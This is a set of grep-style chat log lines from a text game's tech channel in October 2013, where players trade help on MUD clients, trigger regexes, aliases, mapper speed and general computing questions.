T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: hell, even I dont know that information and I'm online :P
T3/r7/2013-10-06.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: lol :-)  , thet asked me and i had ti think very hard
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: so, my mush crashed when it hit 500meg memory usage. weird. first time...
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Berengie Tech: what client do you recomend for mac
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Pleiades Tech: I use mushclient
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Pleiades Tech: I use mushclien
T3/r7/2013-10-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is there any easy way to generate a seemingly 'random' password in linux?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}CptAmerica Tech: with a language or nativly using linux =/
T3/r7/2013-10-06.txt.gz:{chan ch=tech}CptAmerica Tech: this looks good: http://www.howtogeek.com/howto/30184/10-ways-to-generate-a-random-password-from-the-command-line/
T3/r7/2013-10-06.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: that worked, thanks america
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: ok. i am trying to modify a trigger i have that plays a sound effect on gtell. i have changed it into a regular expression for the purpose of wanting it to NOT match if the string Repop or repop is in the line. I am not having much luck.
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: Are you doing it for an area or tying it to a quest timer?
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: as it is now, i have ^\(Group\) (?<!Repop) as my trigger line but still matches in all cases gtell is used
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: i am doing it to squelch sounds on messages that are repop notifications(which are annoying to me)
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Ashiya Tech: why not capture the whole message, and if message contains (repop) don't play it
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: i'd prefer to do it through a regular expression and trigger than writing a script for it, if possible
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: {chan ch=gtell}(Group)
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: bah
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: {chan ch=gtell}(Group) is the regular expression. I use that for certain things.
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: i am having no problems getting positive matches for gtell, turie. it is filtering out gtell matches that contain Repop that I am looking for
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Mr. Dash Tech: if it can be done in a regular expression trigger
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: Hrmmm.
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Turie Tech: I am not good with that. I just make a repop for each area into gtell without a sound factor.
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Atzauatzin Mitsuda Tech: Anyone have a recommendation on an iphone mud client with compression?
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Atzauatzin Mitsuda Tech: I'm currently using an old free version of Pocket MUD but it does not do compression.
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Comanchee Tech: what's the command to lock the windows?
T3/r7/2013-10-07.txt.gz:{chan ch=tech}CptAmerica Tech: i set my default player to VLC(im on linux) but when i click on a movie to play it its still pulling up totem, any suggestions?
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Velian Tech: Cmud - How can I check my ScriptDebugger history after a crash?  Or do I have to set that up?
T3/r7/2013-10-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: Velian as far as i know scriptdebugger does not keep a history
T3/r7/2013-10-07.txt.gz:{chan ch=tech}Velian Tech: Then any suggestions best way to narrow down what's causing me to freeze once every couple of days?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: if i forgot? my bios password, is there anything i can do without a screwdriver to recover /reset it ?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Gener Tech: if it is a desktop, then usually you can unplug it, remove the cmoss  battery, press power button to drain any residual electricity.  wait a few minutes, put battery back in, plug power back.  if it is a laptop it is more complicated or impossible.
T3/r7/2013-10-08.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: gener yes its a laptop.
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Roidrage Tech: can anyone tell me why my map isnt showing on my aardwolf when i do a speedwalk?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: I have problems with smooth movement, looks like laggy. For example, when I type run 10n, I can see the start of a movement, then I can see on my screen I moved few rooms, and finally I see me at the end. When I fight it seems ok, I can see a progress of a fight each sec. Any help?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Redryn Tech: client?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: mush
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: I believe I haven't changes anything
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Redryn Tech: disable some of the mapping plugins?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: changed*
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Redryn Tech: i'm going to guess it' s client lag
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: can you tell me which ones should I try?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Redryn Tech: not sure... most of mine are gone except gmcp mapper :p
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Redryn Tech: there's the ascii minimap and bigmap i think
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: disabled ascii mapper, it seems ok now
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Divlia Tech: enabled it again, reinstalled, it's ok. thank you very much:)
T3/r7/2013-10-08.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: if i am making a live-usb imagine to boot with uefi, should it be a gpt partition table instead of mbr with fat 32?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Botman Tech: Anyone here good with VBA in excel?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude got his bios password reset, and now capable booting from uefi in linux, yay, now just needs to work on getting a graphical desktop environment ^_^. yay
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Tech: Turie . o O ( I wonder what would happen if the show Revolution actually happened...... )
T3/r7/2013-10-08.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: does the mud support ssl? i just noticed that the newer update of tinyfugue does
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Tormat Tech: anyone know how to create a static nat on a cisco ASA?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Bode Tech: where are all the cisco experts :P
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Elysian Tech: out at lunch?
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Mr. Dash Tech: in bed. got servers to babysit tomorrow
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Bode Tech: sigh, figures.
T3/r7/2013-10-08.txt.gz:{chan ch=tech}None the Wyza Tech: they all killed themselves
T3/r7/2013-10-08.txt.gz:{chan ch=tech}None the Wyza Tech: for having to support cisco
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Bode Tech: i can see that after this stupid project
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Runtur Vanion Tech: http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guide/nat_static.html#wp1043201
T3/r7/2013-10-08.txt.gz:{chan ch=tech}None the Wyza Tech: google ftw
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Bode Tech: almost... having issues with it :P
T3/r7/2013-10-08.txt.gz:{chan ch=tech}Bode Tech: could just be the no sleep in 3 days though :P
T3/r7/2013-10-09.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know what file you would edit in a cell phone flashable 3rd party rom to change your device id to match the results of get_prop ?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Umado Tech: what sets the speedrun location to an area with the gmcp mapper program?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Trachx Tech: what do you mean? you use mapper goto <room id> to get too room in area, right? not mapper goto <area name>
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Umado Tech: true, ill look closer a sec
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Trachx Tech: though if you mean S&D and xrt, then first room is earliest explored (time)
T3/r7/2013-10-09.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: isn't it the lowest uid?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Trachx Tech: just look at mark_roomid_sql, SET date_added = (SELECT DATETIME( min(date_added), '-1 minutes') FROM rooms ...
T3/r7/2013-10-09.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is it normally to lag a lot when connecting to the mud through tor?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: prolly so tor goes through many layers to get to end point.  is my best guess
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Comanchee Tech: how do I change the font in the windw where I type commands (mush)?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: how can I set a variable in an alias.  i.e. i want to get apoertal from a bag, enter the portal then put portal back and then i want to dual my weapon.  I need a variable for my weapon
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Leinei Tech: client?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Leinei Tech: can't with mud-side aliases, really
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Leinei Tech: use @variablename in the alias, and tick the box that says 'expand aliases'.  Then go to your variable list and make a variable with that name, with the contents being the keyword(s) of your weapon
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: i would literally put ariablename or would i put ariablesecond  (second is the name I created in variable list)
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: it cut off part of  it
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Leinei Tech: If the name of your variable is "second", then you would use @second in your alias
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: thanks  that worked.
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: in my alias it will get portal from bag use it but will not put it back in bag.  (says I don't have that)  if i copy ad paste exact line from alias it will put it in the bag.  any ideas?
T3/r7/2013-10-09.txt.gz:{chan ch=tech}Gener Tech: get time 1108784533
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: did anybody hear about the tesla car that caught on fire?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i heard it burned the garage down, but the kids made it out of the house, though their dog didn't make it
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Amusing, since I can't find a story about it.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i kid about the kids and dog, but one did catch fire and the story is in every major publication
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: Book of Etzli pats Not Guilty Kojiro on his head.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Day the Nightbird Tech: hey,trying to set up my email on an iphone..but keep getting imap server not responding,anyone able to help?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: you can try gmail
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Day the Nightbird Tech: when I go into mail it gives a list of options,I choose gmail
T3/r7/2013-10-10.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is gmail the only email service ?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Ayasinda Tech: have you setup your gmail account correctly for use with imap?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Day the Nightbird Tech: its my grandfathers email and I have no idea what imap is
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: hi tecchies! i reset my miniwni events because tabs wern
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: hi tecchies! i reset my miniwni events because tabs wern't showing at the top when a gq was available and now it's completely dissapeared, i've tried 'mev showevents' as per the help file but no dice, any help please?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: this is bast plugin btw
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: It will not show till you kill a mob on the GQ list.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: I forgot, you cannot hear me since I am on your ignore list.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: mev windows returns event windows: shown:false hidden: false
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: tried re-installing too
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mr. Dash Tech: have you done a cp check or anything since resetting?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: just tried it and didn
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: just tried it and didn't work
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: Mr. Dash shrugs helplessly.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: aha
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: re-installing it seemed to work that time
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mr. Dash Tech: if you use his miniwin_tabbar you can also toggle visibility
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: it's sorted :)
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Deathbolt Tech: thanks! :)
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Alucard Tech: which button should i turn on in mushclient to se what my macro does?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mohan Tech: Trigger function "invmon" not found or had a previous error. how to fix it?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Ayasinda Tech: restart mush
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mohan Tech: doen´t worked :(
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Bast Tech: "plugins reload eqdb";then "eqdb refresh";then "plugins reload eqdb" one more time
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mohan Tech: sorry bast, but I lost it again, I dunno where I copied it, believe I was looking for your note like 30 minutes before ask that agin, this is embarrasing for me
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Gener Tech: how do you et a variable to work in a macro or can you?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Mohan Tech: thank you very much Bast
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Gener Tech: how do you et a variable to work in a macro or can you?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Bast Tech: put an @ in front of the variable name when using it in a macro
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Gener Tech: I have that and have the variable named in "variables" but in macro it will not work.  seems like there is no expand variable like in alias.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Bast Tech: create an alias with what you want in the macro and then have the macro call the alias
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Gener Tech: thank you bast.  it was making me mad that it would not work  :-)
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Paeon Tech: Just a general heads up, Techzilla is a scam.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Alucard Tech: how can i se what my macros do? any button to push so i can se them when i push the macro?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: did you try game -> configuration -> macros?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Alucard Tech: yes, no button there
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: what button. it answers your question.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: Alucard: Are you using AardMUSH?
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Alucard Tech: yes nod aardmush
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: it displays all of your macros along with what they do.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: Go to the Macros part and add a macro there. You can use an alias inside of the macro. In addtion, if you get frisky, then try http://www.mushclient.com/scripts/function.php?name=Accelerator
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: crtl+shift+2 is the was to get the window to pop up I think or just click on the alias button and go to macros on the side tree diagram.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Turie Tech: Alucard: For a general script for Accelerators....http://www.gammon.com.au/forum/?id=10233
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Tech: I wouldn't bother with accelerators unless you need the difference between an accelerator and a macro
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Akuri Tech: how do you define greater than or equal to in mushclient
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: if (var >= value)
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: or perhaps the = must come first...
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Elysian Tech: nice thread about such things http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=10428
T3/r7/2013-10-10.txt.gz:{chan ch=tech}Akuri Tech: sweet thank you much 
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'm not used to using SQLite like this, but if I do a bunch of inserts, then assert (db:exec ("COMMIT")) and I don't get an error, does that mean it worked?  Because doesn't appear as if inserts are working...
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Using Mushclient.
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And that's a negative, it can fail, but not give an error...
T3/r7/2013-10-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Just copied and pasted my inserts and they have a field which doesn't exist in the database...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: how do I find out how many people are currently on
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Brun Tech: type count
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Sonshi Tech: count
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: thanks, what is compression?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Brun Tech: help mccp
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Sonshi Tech: help compress
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: is there a way to mask your ip?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: use a vpn
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: in the sense that irc clients have the hostmask feature, do MUDs generally have one? i'm on mushclient if that helps
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: no, only imms can see your ip anyways
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: imms?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bamboo Tech: Immortals
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: thanks
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: anyone here playing aardwolf on linux, find it easy?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Been doing it for years now, using tt++ :)
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: never heard of tintin, looks good cheers
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Ask Ixle about it if you want some interesting plugins.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Vost Tech: I use MUSHclient with Wine on Ubuntu
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: was just about to ask, know if you can get it looking like default MUSHclient aardwolf client on windows?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Heh. Just run MUSH on wine then :P
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: when i switch to linux thats what ill likely do, it cant be a very demanding bit of software to emulate
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yeah, but I would consider using tt++ directly though. What do you need from the original MUSH/aard?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or AardMUSH as it were.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: i'm only 20 mins into my first ever MUD, i'm just liking the default plugins of the aardwolf mushclient
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien rapidly nods twice at Gertrudez, in complete agreement.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is probably the most demanding software I know of, CPU-wise - or at least it has the potential to be, with use of the mapper etc.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Gertrudez Tech: i know wine and emulation software is demanding but my hardware is up to it
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hehe, not talking about WINE, that will be fine on most machines. Simply saying MUSHclient can put more stress on my CPU (and RAM sometimes too) than new release games, statistics software, development IDEs etc.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Depends on what plugins you run in MUSH, right?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It scales poorly when you try to push the pathing beyond its designs
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: brute force algorithms ftw :p
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: ...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: but i can search 60 rooms deep fine enough
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's no failing of mush of course, just the reality of dynamic path generation
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: i think it's a failing of fiendish!
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: i'm sure there's a better method than bruteforce
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: For sure.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, there is - but it requires more in the way of db size, and SQLite is more awful than bruteforcing things, IMO
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I try to push SQLite as little as possible, because it baulks like a virgin on her wedding night
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: well not a techie so i can't really comment
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: imo algorithm can be improved though
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's the classic tradeoff - how much do you precalculate, and where do you store those precalculations
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: simultaneous search from both ends will probably reduce breath
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: Tintin's mapper feels super fast. I say 'feels' because I have no way to quantify that and I have virtually no experience with Aardmush mapper on complicated things.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: precalculate paths within every area!
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: afaik Mushclient is not multithreaded, though it would be great if that was an avenue that could be explored
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: I've never lagged on mush. just that it's limited to the amount of results is kinda annoying
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: even if not multi threaded, switching after each +1 room search on will reduce area
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: think of 2 points, size of circle expanding from 1 point to hit other, vs 2 expanding circles from both points
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That limit is a modifiable variable in the xml
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: I have mine at 500 rooms.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: How does that limit work?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: What is it limiting, etc?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: It limits very little.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: if the amount of rooms is over X it wont display any
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If a text search yields more than the limit, the speedwalk calcs don't run
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So if you were to search for all rooms containing 'the' you wouldn't be sitting waiting for 10,000 speedwalks
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: It is 11023 in my db. However, I do not have all rooms explored.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have 11121, but 10k works :-P
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Granted, I am missing 798 rooms.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And yeah, if it was me I'd probably set up node rooms as the areas were mapped, and those node rooms would store speedwalks to all rooms within a 5 step range, with the 5th room being the next node. Factor of 5 reduction on speedwalk searches, but you then have to do some more sophisticated auto-mapping, and your db size would be a good 2-3x bigger.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ashiya Tech: is calculation speed even a problem?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: It is as fast as your computer.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: Why does it try to generate speedwalks to all 10,000 rooms. You can only speedwalk to one so if there's more than one it should just list the options right?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: calculation can definitely be a problem
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It pre-calcs the speedwalks so it can rank by distance
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: the early gen mush mapper lagged
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends on the machine, and how hard you push. Normally no, but emulated on WINE causes an increase in required power, and most of the PC push these days is GPU, not CPU
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: This generation of Mapper has a quick map so it does not have to generate all the paths.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: Tintin will return a path to the closest on a search with multiple matches, or list them if you prefer, or both.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In order for it to know which is the closest, it has to calculate all paths, no?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: You can refine searches with area, terrain, notes, description, vnum as well.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: not to mention newer CPUs push multicore :p
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Redryn Tech: mush is singlethreaded
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ixle Tech: Perhaps Vakieh. If it doing a comparison for them all it's so fast I can't even notice.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: tons of modern games are still single threaded
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Daloran Tech: they need like. reverse-hyperthreading. where multiple cores can show up as a single core to run a single thread.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If they use Direct3d or OpenGL, they multithread by dint of the API
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: uhhh nothing uses opengl anymore
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: lies...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: tech http://www.dsogaming.com/news/amd-aims-to-give-opengl-a-big-boost-api-wont-be-the-bottleneck/
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: allot of new game uses OpenGL 
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That was quite big news just recently, considering all the consoles went AMD
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: The sad part is that all the console are basically on their last generation or next to their last one.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why do you say that? Mobile gaming is creating a new market, there is minimal cannibalisation of console
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nintendo is rooted though
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Word is Steambox will be making a serious push for the indie/humble market though, and that is going to drive a lot of OpenGL/AMD/*nix gaming, which is awesome
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Nintendo's sells have dropped in the mobles too. Sony has picked at it enough.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? Nintendo is competing with casual gaming with the WiiU and the 3DS. They are heading for a Sega-plosion so Sega-plosiony even Sega will sit back and say 'Woah, that was Sega'.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 5-10 years on the outside, Pokemon will be a mobile game franchise.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: PS4 and XBox One is basically the NeoGeo.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: even latest android games are OpenGL based
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Most of your hardcore gamers are on PC.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: true
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Velian Tech: lots of power in controlling your upgrades and not requiring a new console every 2-3 years.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: With a new CEO not making Ballmer-sized screwups like 8/RT/XboxOne, Microsoft will probably pull a phoenix with the Xbox and PS4/One will be the market leader for the moment.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But if you think PC rules ANYTHING but RTS you are sadly nostalgic
